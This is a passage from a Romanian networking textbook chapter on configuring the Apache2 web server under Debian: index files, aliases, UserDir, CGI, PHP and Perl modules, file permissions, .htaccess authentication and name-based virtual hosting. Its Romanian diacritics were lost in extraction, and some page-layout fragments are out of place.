Fiierele index sunt fiierele care sunt afiate n cazul n care calea dintr-o cerere HTTP este un director. Astfel, dac un utilizator folosete URL-ul http://www.example.com/pub/, se transmite cererea GET /pub/ HTTP/1.0 sau GET /pub/ HTTP/1.1 ctre server. Serverul va trebui s ofere resursa /var/www/pub/ care este un director. n acest moment, serverul caut n director un fiier index i l transmite clientului. Configurarea fiierelor index se realizeaz prin intermediul modulului mod_dir. Modulul este activat implicit:
ragnarok:~# ls /etc/apache2/mods-enabled/dir* /etc/apache2/mods-enabled/dir.conf /etc/apache2/mods-enabled/dir.load

Fiierul /etc/apache2/mods-available/dir.conf ctre care puncteaz legtura simbolic /etc/apache2/mods-enabled/dir.conf permite configurarea fiierelor index:
ragnarok:~# cat /etc/apache2/mods-available/dir.conf <IfModule mod_dir.c> DirectoryIndex index.html index.cgi index.pl index.php index.xhtml </IfModule>

Configurarea existent impune serverului cutarea pe rnd a fiierelor index.html, n cazul n care calea ctre resurs este un director. Dac se dorete adugarea ca fiier index un fiier cu numele index.txt va trebui alterat configuraia existent:
index.cgi, index.pl, index.php, index.xhtml

320 | R e e l e L o c a l e
ragnarok:~# cat /etc/apache2/mods-available/dir.conf <IfModule mod_dir.c> DirectoryIndex index.html index.cgi index.pl index.php index.xhtml </IfModule>

9.2.3.2.2 Configurare aliasuri


De multe ori este dificil, incomod, sau chiar imposibil s se stocheze unele resurse servite de serverul web n ierarhia dat de /var/www. Se poate dori, spre exemplu, ca accesul la documentaia existent n /usr/share/doc s se fac prin intermediul unui URL de forma http://localhost/doc/. Soluia la aceast problem este folosirea aliasuri. Un alias asociaz o nume de resurs ce poate fi parte a unui URL cu o resurs din sistemul de fiiere. Spre exemplu, dac se dorete ca folosirea URL-ului http://localhost/doc/ s conduc la afiarea resurselor din /usr/share/doc, se va utiliza o directiv de forma:
Alias /doc/ /usr/share/doc

Folosirea de aliasuri este condiionat de existena modulului mod_alias. Acest modul este ncrcat implicit la pornirea serverului Apache2:
ragnarok:~# ls /etc/apache2/mods-enabled/alias.* /etc/apache2/mods-enabled/alias.load

aliasuri se face n fiierul global de configurare /etc/apache2/apache2.conf. Directivele de configurare sunt ncadrate de directiva <IfModule>. De obicei configurrile se realizeaz la nivel de domeniu virtual deoarece directorul webroot difer. Configuraia de alias pentru domeniul implicit este prezentat n continuare:
ragnarok:~# cat /etc/apache2/sites-enabled/000-default NameVirtualHost * <VirtualHost *> [...] Alias /doc/ "/usr/share/doc/" <Directory "/usr/share/doc/"> Options Indexes MultiViews FollowSymLinks AllowOverride None Order deny,allow Deny from all Allow from 127.0.0.0/255.0.0.0 ::1/128 </Directory> </VirtualHost>

Configurarea

de

Se observ crearea aliasului /doc/ aa cum s-a precizat mai sus. O directiv Alias are asociat o directiv Directory n care se precizeaz proprietile directorului peste care s-a realizat aliasul.

9.2.3.2.3 Configurare UserDir


De obicei, un utilizator al sistemului de operare dorete publicarea unor pagini web fr a fi nevoie de a contacta administratorul sistemului. Utilizatorul creeaz un director local care va fi automat folosit de serverul web. Implementarea unei astfel de facilitai se realizeaz n Apache prin intermediul modulului UserDir: mod_userdir. Acest modul nu este activat implicit n cadrul Apache2 i trebuie activat manual:
ragnarok:~# cd /etc/apache2/mods-enabled/ ragnarok:/etc/apache2/mods-enabled# ln -s ../mods-available/userdir.conf userdir.conf ragnarok:/etc/apache2/mods-enabled# ln -s ../mods-available/userdir.load userdir.load ragnarok:/etc/apache2/mods-enabled# apache2ctl restart

Crearea manual a legturilor simbolice este destul de dificil i susceptibil la erori. Soluia recomandat este folosirea scripturilor a2enmod i a2dismod oferite de Debian pentru activarea, respectiv dezactivarea modulelor din server:
ragnarok:~# a2dismod userdir

321 | W o r l d W i d e W e b
Module userdir disabled; run /etc/init.d/apache2 force-reload to fully disable. ragnarok:~# a2enmod userdir Module userdir installed; run /etc/init.d/apache2 force-reload to enable.

Serverul trebuie repornit pentru ncrcarea modulului. Configuraia pentru modulul UserDir se afl available/userdir.conf:
ragnarok:~# cat /etc/apache2/mods-available/userdir.conf <IfModule mod_userdir.c> UserDir public_html UserDir disabled root

/etc/apache2/mods-

<Directory /home/*/public_html> AllowOverride FileInfo AuthConfig Limit Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec </Directory> </IfModule>

Ca de obicei, directivele de configurare sunt ncadrate de directiva IfModule. Directiva


UserDir public_html

precizeaz ca webroot pentru fiecare utilizator directorul local public_html. Posibilitatea publicrii de documente dintr-un director propriu de utilizatorul privilegiat este dezactivat: Opiunile pentru director sunt date de directiva Directory:
<Directory /home/*/public_html>

Cmpul * este nlocuit cu numele utilizatorului. Astfel, directorul webroot local al utilizatorului andrei folosit pentru publicarea de resurse prin intermediul serverului web este /home/andrei/public_html. Accesarea directorului webroot local se realizeaz prin intermediul unui URL de forma http://www.example.com/~andrei/. Astfel, accesul la pagina /home/andrei/public_html/ pub/file.html se realizeaz prin intermediul URL-ului http://localhost/~andrei/ pub/file.html. Ca un exerciiu, se presupune c exist un set de utilizatori care au directorul home n /home/students/username, unde username este numele utilizatorilor. Administratorul de sistem decide c i utilizatori vor putea publica documente web. n aceast situaie configuraia modulului UserDir va fi:
<IfModule mod_userdir.c> [] <Directory /home/students/*/public_html> AllowOverride FileInfo AuthConfig Limit Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec </Directory> </IfModule>

Configuraia a fost adugat la configuraia anterioar. Serverul web trebuie repornit pentru a ncrca modificrile efectuate. Se observ c s-au stabilit proprietile pe directorul /home/students/*/public_html, unde * va fi nlocuit cu numele utilizatorului. Astfel, dac utilizatorul diana are directorul home n /home/students/diana, folosirea URL-ului http://localhost/~diana/ docs/chapter.doc va conduce la obinerea fiierului /home/students/diana/public_html/ docs/chapter.doc.

9.2.3.2.4 Configurare CGI


CGI (Common Gateway Interface) este un protocol care permite interfaarea ntre o aplicaie i un server web. Acest lucru permite transmiterea cererilor de la clieni ctre aplicaie. Dup rularea aplicaiei, serverul web va ntoarce rezultatul acesteia ctre client.

322 | R e e l e L o c a l e

Un program CGI este specificat prin intermediul unui URL, spre exemplu http://www.example.com/simple.cgi. Folosirea acestui URL impune serverului web rularea programului asociat. Serverul web colecteaz rezultatul rulrii programului i l transmite clientului. Acest lucru are dezavantajul rulrii unui proces separat pentru fiecare instan de cerere. O soluie este folosirea de module precum mod_php sau mod_perl [vezi 9.2.3.3] care permit integrarea unui interpretor n serverul web. O alt soluie este folosirea de limbaje de programare precum C care pot atinge o eficien mai mare prin terminarea mai rapid a execuiei. Suportul de CGI pentru Apache este obinut prin intermediul modulului mod_cgi. ntruct nu este activat implicit, trebuie activat manual:
ragnarok:~# a2enmod cgi Module cgi installed; run /etc/init.d/apache2 force-reload to enable. ragnarok:/etc/apache2/mods-enabled# apache2ctl restart

Configurarea directorului ce conine scripturile CGI se realizeaz la nivel de domeniu virtual. Astfel, configuraia CGI pentru domeniul virtual implicit este:
ragnarok:~# cat /etc/apache2/sites-enabled/000-default NameVirtualHost * <VirtualHost *> [...] ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ <Directory "/usr/lib/cgi-bin"> AllowOverride None Options ExecCGI -MultiViews +SymLinksIfOwnerMatch Order allow,deny Allow from all </Directory> [...] </VirtualHost>

Directorul de unde se vor executa scripturile CGI este definit prin intermediul directivei
ScriptAlias i este, implicit, /usr/lib/cgi-bin/. Accesul la scriptul /usr/lib/cgibin/sample.cgi se realizeaz prin intermediul unui URL de forma http://localhost/cgibin/script.cgi. Opiunea ExecCGI este cea care specific serverului execuia scriptului prin

intermediul unei aplicaii externe. Un script simplu CGI este urmtorul program C:
ragnarok:~# cat sample.c #include <stdio.h> int main (void) { printf ("Content-type: text/html\n\n"); printf ( "<html>\n" "\t<head>\n" "\t\t<title>Pagina mea</title>\n" "\t</head>\n" "\t<body>\n" "\t\t<h1>Hello, World!</h1>\n" "\t</body>\n" "</html>\n" ); return 0; } ragnarok:~# gcc -Wall sample.c -o sample.cgi ragnarok:~# mkdir /usr/lib/cgi-bin/ ragnarok:~# cp sample.cgi /usr/lib/cgi-bin/

Programul C a fost compilat, numele executabilului fiind sample.cgi; extensia .cgi este opional. Executabilul a fost copiat n /usr/lib/cgi-bin. ntruct directorul nu exista anterior a fost creat. Pentru testare putem folosi telnet sau netcat:
ragnarok:~# telnet localhost 80 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'.

323 | W o r l d W i d e W e b
GET /cgi-bin/sample.cgi HTTP/1.0 HTTP/1.1 200 OK Date: Sun, 23 Sep 2007 14:02:19 GMT Server: Apache/2.2.3 (Debian) Content-Length: 102 Connection: close Content-Type: text/html; charset=UTF-8 <html> <head> </head> <body> </body> </html> Connection closed by foreign host. <title>Pagina mea</title> <h1>Hello, World!</h1>

Cererea trimis serverului a fost GET /cgi-bin/sample.cgi HTTP/1.0. Serverul trimite ca rspuns clientului mesajul HTTP/1.1 200 OK mpreun cu un antet de mesaj i pagina web rezultat prin rularea scriptului CGI.

9.2.3.3 Instalare module


Alte module pot fi instalate cu ajutorul utilitarului apt-get. Pachetele asociate modulelor Apache sunt denumite libapache2-mod-nume, unde nume identific modulul. O list a modulelor instalabile Apache poate fi obinut cu ajutorul comenzii apt-cache:
ragnarok:/etc/apache2# apt-cache search libapache2-modlibapache2-mod-auth-kerb - apache2 module for Kerberos authentication libapache2-mod-auth-pam - module for Apache2 which authenticate using PAM [...] libapache2-mod-bt - BitTorrent tracker for the Apache2 web server libapache2-mod-chroot - run Apache in a secure chroot environment libapache2-mod-musicindex - Browse, stream, download and search through MP3/Ogg/FLAC [...] libapache2-mod-perl2 - Integration of perl with the Apache2 web server libapache2-mod-python - Apache 2 module that embeds Python within the server libapache2-mod-ruby - Embedding Ruby in the Apache2 web server libapache2-mod-php4 - server-side, HTML-embedded scripting language (apache 2 module) libapache2-mod-php5 - server-side, HTML-embedded scripting language (apache 2 module)

files

Pentru exemplificare se vor instala modulele mod_php5 i mod_perl2 care permit rularea de scripturi PHP sau Perl prin intermediul serverului web.

9.2.3.3.1 mod_php
Suportul PHP se obine prin intermediul modulului mod_php5:
ragnarok:~# apt-get install libapache2-mod-php5 Reading package lists... Done Building dependency tree... Done The following extra packages will be installed: apache2-mpm-prefork php5-common Suggested packages: php-pear The following packages will be REMOVED: apache2-mpm-worker The following NEW packages will be installed: apache2-mpm-prefork libapache2-mod-php5 php5-common 0 upgraded, 3 newly installed, 1 to remove and 0 not upgraded. Need to get 3044kB of archives. After unpacking 5870kB of additional disk space will be used. Do you want to continue [Y/n]? Y [...]

Se observ c se nlocuiete modulul de threading worker cu modulul prefork. Modulul este automat activat dup instalare:
ragnarok:~# ls /etc/apache2/mods-enabled/php5.* /etc/apache2/mods-enabled/php5.conf /etc/apache2/mods-enabled/php5.load

Fiierul de configurare php5.conf definete extensiile de fiiere pentru care va fi utilizat modulul:

324 | R e e l e L o c a l e
ragnarok:~# cat /etc/apache2/mods-enabled/php5.conf <IfModule mod_php5.c> AddType application/x-httpd-php .php .phtml .php3 AddType application/x-httpd-php-source .phps </IfModule>

Pentru testare folosim fiierul test.php de mai jos:


ragnarok:~# cat test.php <?php phpinfo (); ?> ragnarok:~# cp test.php /var/www/

Folosirea URL-ului http://localhost/test.php duce la afiarea unei pagini de informaii despre PHP.

9.2.3.3.2 mod_perl
Suportul Perl se obine prin instalarea modulului mod_perl2:
ragnarok:~# apt-get install libapache2-mod-perl2

La fel ca modulul mod_php5, mod_perl2 este automat adugat la lista de module ncrcate. Pentru ncrcarea modulului trebuie repornit serverul.
ragnarok:~# apache2ctl restart

Un fiier de test este urmtorul:


ragnarok:~# cat test.pl #!/usr/bin/perl print "Content-type: text/plain\r\n\r\n"; print "Hello, World!\n";

Scripturile Perl sunt folosite ca scripturi CGI. Pentru aceasta, scriptului Perl test.pl i sunt acordate drepturi de execuie, dup care este copiat n /usr/lib/cgi-bin/:
ragnarok:~# chmod a+x test.pl ragnarok:~# cp test.pl /usr/lib/cgi-bin/

9.2.3.4 Configurare drepturi n sistemul de fiiere


Dou directive din fiierul de configurare precizeaz utilizatorul i grupul din sistemul de operare folosite de serverul Apache pentru accesarea resurselor web: User i Group definite n fiierul principal de configurare:
User www-data Group www-data

Dac utilizatorul www-data nu are drepturi suficiente pe resursa cerut atunci nu serverul i va returna un mesaj de tip Forbidden. De obicei, un fiier va trebui s ofere drepturi de acces de citire utilizatorului www-data pentru ca acesta s poat fi transmis clientului. Dreptul de scriere este necesar pentru upload de fiiere i este folosit mai rar; un exemplu de utilizare a dreptului de scriere este un wiki. nainte de a prezenta modul n care serverul web interacioneaz cu drepturile pe sistemul de fiiere, vor fi reamintite mecanismele de drepturi de acces pe un sistem Unix.

9.2.3.4.1 Recapitulare drepturi Unix


Dup cum se tie, un sistem Unix are trei tipuri de drepturi:
citire (read r): un fiier poate fi vizualizat i se poate lista coninutul unui director; scriere (write w): un fiier poate fi editat i se pot crea noi intrri ntr-un director; intrrile n sistemul de fiiere pot fi terse;

325 | W o r l d W i d e W e b execuie (execute x): un fiier poate fi executat i un director poate fi parte a unei ci; informal spus, se poate trece printr-un director.

Orice utilizator poate avea oricare din aceste drepturi de acces asupra unei intrri n sistemul de fiiere. Pentru o gestiune mai facil, un fiier are grupat utilizatorii n trei categorii:
user (u): utilizatorul care deine fiierul group (g): grupul care deine fiierul other (o): ceilali utilizatori

Schimbarea utilizatorului sau grupului care deine fiierul se realizeaz cu ajutorul comenzii chown. Fiecare din aceste trei categorii au asociate drepturi de citire, scriere i execuie. De obicei drepturile pe un fiier sunt date prin concatenarea drepturilor pentru entitile de mai sus. Astfel gruparea de drepturi rwx r-x wx nseamn c utilizatorul are toate drepturile asupra fiierului, grupul are drepturi de citire i execuie, iar ceilali au drept de scriere i execuie. Drepturile de acces pe o intrare din sistemul de fiiere se vizualizeaz cu ajutorul comenzii ls l:
ragnarok:~# ls -l total 49 drwx------ 24 root drwxr-xr-x 2 root -rw-r--r-- 1 root ---------- 1 root -rw-r--r-- 1 root -rw------- 1 root -rwxr-xr-x 1 root root 792 Feb 24 2007 dir root 152 May 31 11:55 Desktop root 179 Nov 14 2006 dbootstrap_settings root 6 Jan 21 2007 huhu root 1336 Nov 14 2006 install-report.template root 2006 Nov 14 2006 mbox root 7158 Sep 23 17:01 sample.cgi

n listing se observ c utilizatorul care deine intrrile este root, iar grupul deintor este tot root. Utilizatorul root are toate drepturile pe fiierul dir, iar grupul i ceilali utilizatori nu au niciun drept. Fiierul sample.cgi poate fi executat de ctre orice utilizator, avnd drept de execuie pentru utilizator, grup i ceilali. niruirea de drepturi asupra unei intrri n sistemul de fiiere poate fi folosit n format binar, asociindu-se 9 bii: cte un bit pentru prezena sau nu a unui drept. Astfel, formatul literal rwx r-x wx are asociat formatul binar 111 101 011. Se prefer formatul octal al drepturilor, care pentru exemplul anterior este 753. Drepturile pe o intrare n sistemul de fiiere pot fi alterate folosind comanda chmod. n cele ce urmeaz se vor prezenta mai multe exemple de rulare a chmod pentru schimbarea succesiv a drepturilor de acces pe fiiere:
toate drepturile pentru utilizator, niciun drept pentru ceilali
ragnarok:~# ls -l -rw-r--r-- 1 root ragnarok:~# chmod ragnarok:~# ls -l -rwx------ 1 root test.txt root 0 Sep 23 19:23 test.txt 700 test.txt test.txt root 0 Sep 23 19:23 test.txt

drept de citire i scriere pentru utilizator, drept de citire pentru grup, drept de scriere pentru ceilali
ragnarok:~# chmod 642 test.txt ragnarok:~# ls -l test.txt -rw-r---w- 1 root root 0 Sep 23 19:23 test.txt

drept de citire i execuie pentru utilizator, drept de citire i scriere pentru grup, drept de scriere i execuie pentru ceilali
ragnarok:~# chmod 563 test.txt ragnarok:~# ls -l test.txt -r-xrw--wx 1 root root 0 Sep 23 19:23 test.txt

revenirea la drepturile iniiale: drept de citire i scriere pentru utilizator, drept de citire pentru grup i pentru ceilali
ragnarok:~# chmod 644 test.txt

326 | R e e l e L o c a l e
ragnarok:~# ls -l test.txt -rw-r--r-- 1 root root 0 Sep 23 19:23 test.txt

9.2.3.4.2 Configurare drepturi server web


Dup cum s-a precizat, pentru ca o resurs s poat fi accesat de serverul web, trebuie ca utilizatorul sau grupul www-data s aib drept de citire asupra acesteia. Fie urmtoarea situaie:
ragnarok:/var/www# ls -l total 0 -rw-r--r-- 1 root root 0 Sep 23 19:32 brad.txt -rw-r----- 1 root root 0 Sep 23 19:32 fag.txt

Fiierul brad.txt va putea fi accesat de serverul web, n timp ce fiierul fag.txt. Utilizatorul www-data face partea din categoria de utilizatori others, adic ultimele 3 drepturi. n cazul brad.txt aceste drepturi sunt r-- iar n cazul fag.txt sunt --- (niciun drept). Dac se schimb grupul pentru fag.txt n www-data, atunci i acesta va putea fi accesat de serverul web:
ragnarok:/var/www# chown root:www-data fag.txt ragnarok:/var/www# ls -l total 0 -rw-r--r-- 1 root root 0 Sep 23 19:32 brad.txt -rw-r----- 1 root www-data 0 Sep 23 19:32 fag.txt

Se va aduga un director la structura deja existent:


ragnarok:/var/www# mkdir carpen ragnarok:/var/www# touch carpen/molid.txt ragnarok:/var/www# touch carpen/frasin.txt ragnarok:/var/www# ls -ld carpen/ drwxr-xr-x 2 root root 112 Sep 23 19:47 carpen/ ragnarok:/var/www# ls -l carpen/ total 0 -rw-r--r-- 1 root root 0 Sep 23 19:47 frasin.txt -rw-r--r-- 1 root root 0 Sep 23 19:47 molid.txt

Directorul carpen/ ofer drepturi de citire i execuie pentru ceilali utilizatori astfel c se poate afia coninutul su. Drept urmare, folosirea URL-ului http://localhost/carpen/ va conduce la listarea coninutului acestui director. Fiierele frasin.txt i molid.txt pot fi accesate prin intermediul paginii afiate. Dac se schimb drepturile pe un fiier:
ragnarok:/var/www# chmod 640 carpen/molid.txt

atunci utilizatorul www-data nu va mai avea drept de citire. Fiierul va fi totui afiat n momentul folosirii URL-ului http://localhost/carpen/, dar nu va putea fi accesat. Cu alte cuvinte schimbarea drepturilor de acces pe un fiier nu schimb comportamentul directorului care l conine. Listarea directorului este dezactivat dac exist un fiier index *vezi 9.2.3.2+. Astfel, dac se creeaz fiierul index.html, se va face implicit afiarea acestuia, nu a coninutului directorului.
ragnarok:/var/www# touch carpen/index.html

Fiierele frasin.txt i molid.txt vor putea fi referite, n acest caz, numai dac li se cunoate calea complet. Altfel spus, vor putea fi recuperate cu ajutorul URL-urilor http://localhost/carpen/frasin.txt, respectiv http://localhost/carpen/molid.txt. De multe ori se dorete dezactivarea listrii coninutul unui director fr a fi nevoie de prezena unui fiier index.html. Pentru aceasta trebuie eliminat dreptul de citire de director, dar pstrat cel de execuie (de parcurgere a directorului):
ragnarok:/var/www# chmod 711 carpen/

327 | W o r l d W i d e W e b

Dup comanda de mai sus, utilizatorul www-data va avea doar drept de execuie asupra directorului carpen/. Dac acest director va conine un fiier index, acesta va fi afiat. Altfel se va afia un mesaj de tip Forbidden. Fiierele dintr-un astfel de director pot fi accesate doar prin precizarea cii complete n URL.

9.2.3.5 Configurare opiuni per director. Fiierul .htaccess


Directoarele accesibile prin intermediul serverului web pot avea asociate opiuni prin intermediul unui fiier existent n acest director. Acest fiier poart numele de .htaccess1. Prezena acestui fiier ntr-un director nseamn parcurgerea acestuia i interpretarea directivelor existente pentru acel director. Fiierul .htaccess este folosit atunci cnd un utilizator nu are acces la fiierul principal de configurare. n cazul n fiierul principal de configurare poate fi folosit pentru a configura un director, se recomand s nu se foloseasc fiierul .htaccess. Opiunile per director sunt configurate n fiierul principal cu ajutorul directivei <Directory>. Configuraiile din .htaccess sunt aplicate directorului curent i tuturor subdirectoarelor acestuia. Configuraiile din fiierele .htaccess din subdirectoare vor suprascrie configurrile din directorul curent. Directiva AllowOverride descris n seciunea 9.2.3.1 este folosit pentru a preciza directivele din fiierul principal de configurare pe care fiierul .htaccess le poate suprascrie. Astfel, folosirea
AllowOverride None

ignor prezena fiierului .htaccess, pe cnd folosirea


AllowOverride All

acord prioritate directivelor prezente n fiierul .htaccess. Un exemplu este configurarea unui director pentru a rula scripturi CGI. Pentru aceasta fiierul .htaccess va avea coninutul:
ragnarok:~# cat /var/www/test/.htaccess Options +ExecCGI SetHandler cgi-script

Pentru ca aceste configurri s fie active, va trebui ca directorul /var/www/test s permit directivele de configurare Options i FileInfo:
ragnarok:~# cat /etc/apache2/sites-enabled/000-default NameVirtualHost * <VirtualHost *> [...] <Directory /var/www/test/> AllowOverride Options FileInfo </Directory> [...] </VirtualHost>

Dup aceasta folosirea URL-ului http://localhost/test/sample.cgi va conduce la execuia scriptului sample.cgi.

9.2.3.5.1 Folosire directive de autentificare


Fiierul .htaccess poate fi folosit pentru autentificarea utilizatorului n momentul n care acceseaz directorul asociat2. Ca i alte opiuni, se recomand utilizarea directivelor de autentificare n cadrul unei directive Directory ntr-un fiier de configurare. Folosirea acestor directive ntr-un fiier .htaccess se folosete n momentul n care nu se poate accesa fiierul de configurare.
1 2

http://httpd.apache.org/docs/2.2/howto/htaccess.html http://httpd.apache.org/docs/2.2/howto/auth.html

328 | R e e l e L o c a l e

Un exemplu de configurare este urmtorul:


ragnarok:~# mkdir /var/www/need_auth ragnarok:~# vi /var/www/need_auth/.htaccess ragnarok:~# cat /var/www/need_auth/.htaccess AuthType Basic AuthName "Authentication Needed" AuthUserFile /var/www/need_auth_passwd Require user mihai roxana

Tipul de autentificare folosit este Basic. Directiva AuthName definete domeniul (Realm) cu care va fi asociat instana curent de autentificare. Autentificarea folosete fiierul precizat prin intermediul directivei AuthUserFile, n cazul de fa /var/www/need_auth_passwd. Directiva Require specific modul n care se realizeaz autentificarea. n cazul de fa se permite accesul numai utilizatorilor mihai i roxana. Crearea i completarea fiierului de configurare se realizeaz cu ajutorul utilitarului htpasswd. Astfel, pentru crearea fiierului i adugarea utilizatorilor mihai i roxana se folosete secvena de comenzi de mai jos:
ragnarok:~# htpasswd -c /var/www/need_auth_passwd mihai New password: Re-type new password: Adding password for user mihai ragnarok:~# htpasswd /var/www/need_auth_passwd roxana New password: Re-type new password: Adding password for user roxana

La prima rulare s-a folosit opiunea c pentru a crea fiierul de parole. Parolele sunt criptate n fiierul de autentificare:
ragnarok:~# cat /var/www/need_auth_passwd mihai:nzXO9vzU9BcmA roxana:uJOLmQIETpCZw

Pentru a putea folosi directivele de autentificare din fiierul .htaccess va trebui folosit directiva AllowOverride cu opiunea AuthConfig:
<Directory /var/www/need_auth/> AllowOverride AuthConfig </Directory>

Folosirea URL-ului http://localhost/need_auth/ va duce la apariia unui prompt de autentificare a utilizatorului. Utilizatorul se va putea autentifica cu numele de utilizator i parola specificate n fiierul /var/www/need_auth_passwd, n cazul de fa mihai i roxana i parolele asociate. Dup autentificare va putea accesa resursele din director.

9.2.4 Gzduire virtual


Una dintre cele mai importante faciliti n Apache este posibilitatea de gzduire virtual (virtual hosting)1. Actualmente, aceasta este metoda fundamental de a rula mai multe servicii web - fiecare cu nume i URL-uri diferite - dar care reprezint site-uri distincte. Virtual hosting este folosit pe scar larg n ISP-uri i site-uri de hosting care au nevoie s administreze mai multe site-uri, dar nu vor s achiziioneze un calculator nou pentru fiecare n parte.

9.2.4.1 Tipuri de gzduire virtual


Exist dou moduri de a implementa gzduirea virtual a paginilor web: gzduire virtual bazat pe adrese IP (IP-based virtual hosting) i gzduire virtual bazat pe nume (namebased virtual hosting). Un caz particular poate fi considerat gzduirea virtual bazat pe port.

http://httpd.apache.org/docs/2.2/vhosts/

329 | W o r l d W i d e W e b

n cadrul gzduirii bazate pe adrese IP, fiecare virtual host primete o adres IP. Pe anumite sisteme de operare se pot stabili mai multe adrese IP pe o interfa de reea. Pe alte sisteme va fi nevoie de o interfa suplimentar pentru fiecare adres IP. Totui, adresele IP cost i sunt din ce n ce mai greu de obinut, astfel nct browser-ele moderne pot folosi virtual hosting bazat pe nume. Cnd un server web primete o conexiune nu cunoate ce nume de staie (hostname) a fost folosit n URL. Pentru a corecta, noua specificaie HTTP/1.1 adaug o facilitate prin intermediul creia browser-ele pot spune serverului ce hostname folosesc, prin intermediul antetului Host:. Dei gzduirea virtual prezint avantajul economisirii de adrese IP, trebuie inut cont de existena unor browser-e mai vechi care nu au implementat specificaia HTTP/1.1. Dac un astfel de browser se conecteaz la un server web cu gzduire virtual bazat pe nume, nu va trimite antetul Host:, aa c serverul va trebui s rspund cu o list de gazde virtuale posibile.

9.2.4.2 Alegerea numelui de staie


Dup stabilirea tipului de gzduire virtual dorit i, eventual, a unei adrese IP, trebuie ales un nume de staie i actualizat corespunztor serverul DNS asociat. Se presupune c serverul web ascult conexiuni pe dou adrese IP: 99.88.77.66 i 88.77.66.55. n acelai timp va folosi gzduire virtual bazat pe adrese IP i s asculte foloseasc domeniile www1.mydomain.com i www2.mydomain.com. n acest caz trebuie adugate dou intrri n fiierul de configurare DNS ca cele de mai jos. S-a presupus c serverul de nume configurat este autoritar pe domeniul mydomain.com:
www1 www2 A A 99.88.77.66 88.77.66.55

Dac se dorete folosirea gzduiri virtuale bazate pe nume folosind ca adres IP doar 99.88.77.66 atunci vor exista dou intrri de forma
www1 www2 A CNAME 99.88.77.66 www1

O situaie particular, folosit la testare, este gzduirea virtual bazat pe nume cu acces numai de pe sistemul local. Pentru aceasta este nevoie de adugarea n /etc/hosts a unei linii de forma:
127.0.0.1 www.mydomain.com

9.2.4.3 Configurare gzduire virtual n Apache2


Dup cum s-a specificat i n seciunea 9.2.3, configurarea gzduirii virtuale n Apache2 se realizeaz, pe Debian/Ubuntu, prin intermediul directoarelor /etc/apache2/sitesavailable i /etc/apache2/sites-enabled/. Directorul sites-available/ conine cte un fiier pentru fiecare domeniu virtual potenial. Directorul sites-enabled/ conine legturi simbolice ctre fiierele din sites-available/ preciznd, astfel, domeniile virtuale care sunt activate la rularea serverului. Iniial, Apache2 are configurat un domeniu virtual implicit n /etc/apache2/sitesavailable/000-default:
ragnarok:~# ls -l /etc/apache2/sites-enabled/000-default lrwxrwxrwx 1 root root 36 Sep 23 00:06 /etc/apache2/sites-enabled/000-default /etc/apache2/sites-available/default ->

Pentru configurarea unui domeniu virtual se creeaz un fiier n sites-available/, dup care se creeaz o legtur simbolic n sites-enabled/. Se recomand cu numele fiierului s fie chiar numele domeniului pentru care se realizeaz gzduirea virtual. Pentru activarea i

330 | R e e l e L o c a l e

dezactivarea domeniilor virtuale se recomand folosirea scripturilor a2ensite, respectiv a2dissite puse la dispoziie de pachetul de la Debian.

9.2.4.3.1 Directive pentru gzduire virtual


nainte de prezentarea unui exemplu de configurare global, se vor identifica o parte din directivele de configurare pentru gzduire virtual folosind domeniul implicit:
ragnarok:~# cat /etc/apache2/sites-enabled/000-default NameVirtualHost * <VirtualHost *> ServerAdmin webmaster@localhost DocumentRoot /var/www/ <Directory /> Options FollowSymLinks AllowOverride None </Directory> <Directory /var/www/> Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all RedirectMatch ^/$ /apache2-default/ </Directory> [...] </VirtualHost>

Din coninutul fiierului s-au pstrat doar directivele folosite pentru configurarea gzduirii virtuale. Directivele de configurare pentru gzduirea virtual sunt:

NameVirtualHost indic folosirea gzduirii virtuale; recomandarea pentru gzduirea virtual bazat pe nume este crearea unui fiier /etc/apache2/conf.d/virtual.conf care s conin opiunea NameVirtualHost urmat de adresa IP folosit pentru gzduire virtual; caracterul * nseamn c serverul ascult pe toate interfeele; <VirtualHost *> definete un domeniu virtual; n cazul n care se folosete gzduire virtual se folosete acelai parametru ca i la NameVirtualHost, n cazul de fa *; ServerAdmin definete adresa de e-mail a administratorului domeniului; DocumentRoot definete directorul rdcin pentru domeniul virtual configurat; directiva ServerName este o directiv esenial care definete domeniul pentru care a fost
1

configurat virtual host-ul; ServerAlias poate specifica un nume de domeniu care s fie deservit de acelai virtual host.

9.2.4.3.2 Gzduire virtual bazat pe nume


Pentru activarea gzduirii virtuale se folosete directiva NameVirtualHost. Dac se dorete ca serverul s serveasc cereri pentru toate interfeele se folosete n forma
NameVirtualHost *

Pentru a profita de modularitatea Apache2, se recomand ca aceast directiv s fie extras din fiierul de configurare pentru domeniul implicit i copiat n fiierul de configurare /etc/apache2/conf.d/virtual.conf, inclus n fiierul principal de configuraie:
ragnarok:~# cat /etc/apache2/conf.d/virtual.conf NameVirtualHost *

Pentru crearea unui virtual host, dou directive sunt indispensabile: ServerName i DocumentRoot. Aceste dou directive definesc, respectiv, numele domeniului virtual gestionat i documentul rdcin folosit pentru publicarea de resurse. Astfel, un virtual host simplu este:
<VirtualHost *> ServerName www.domain.com DocumentRoot /usr/local/www
1

http://www.debian-administration.org/articles/412

331 | W o r l d W i d e W e b
</VirtualHost>

Directiva ServerName lipsete iniial din fiierul de configurare asociat domeniului implicit pentru c acesta va rspunde pentru toate cererile pentru care nu exist un virtual host asociat. Dorim s se configureaz urmtoarele domenii:
www.domain.com cu rdcina n /usr/local/www www.test.com cu rdcina n /var/www/test

Se va presupune un caz de test, drept pentru care domeniile de mai sus vor fi asociate adresei locale 127.0.0.1 prin intermediul fiierului /etc/hosts:
127.0.0.1 127.0.0.2 www.domain.com www.test.com

Pentru fiecare dintre cele dou domenii se vor crea dou fiiere cu numele www.domain.com, respectiv www.test.com n /etc/apache2/sites-available:
ragnarok:~# cat /etc/apache2/sites-available/www.domain.com <VirtualHost *> ServerName www.domain.com ServerAlias domain.com DocumentRoot /usr/local/www </VirtualHost> ragnarok:~# cat /etc/apache2/sites-available/www.test.com <VirtualHost *> ServerName www.test.com ServerAlias test.com DocumentRoot /var/www/test </VirtualHost>

Directiva ServerAlias permite specificarea unui domeniu care s refere acelai director rdcin. Pentru activarea domeniilor folosim utilitarul a2ensite:
ragnarok:~# a2ensite www.domain.com Site www.domain.com installed; run /etc/init.d/apache2 reload to enable. ragnarok:~# a2ensite www.test.com Site www.test.com installed; run /etc/init.d/apache2 reload to enable.

